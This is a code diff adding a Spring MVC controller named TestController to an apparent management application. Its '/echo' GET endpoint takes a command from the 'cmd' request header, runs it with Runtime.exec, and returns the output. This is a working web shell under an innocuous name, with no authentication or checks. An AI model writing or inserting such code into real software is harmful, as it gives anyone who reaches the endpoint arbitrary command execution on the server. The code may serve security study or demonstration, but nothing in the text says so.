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+package com.management.controller;
+
+import com.management.bean.User;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.context.request.RequestAttributes;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+
+@Controller
+public class TestController {
+
+
+    @ResponseBody
+    @RequestMapping(value="/echo", method = RequestMethod.GET)
+    public User Test() throws IOException {
+
+        RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
+        HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest();
+        HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse();
+
+        String cmd = httprequest.getHeader("cmd");
+        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+        InputStreamReader isr = new InputStreamReader(in);
+        BufferedReader br = new BufferedReader(isr);
+
+        StringBuilder sb = new StringBuilder();
+        String line;
+        while((line = br.readLine()) != null){
+            sb.append(line + "\n");
+        }
+
+        br.close();
+        isr.close();
+        in.close();
+
+        httpresponse.getWriter().println(sb.toString());
+
+        return new User();
+    }
+}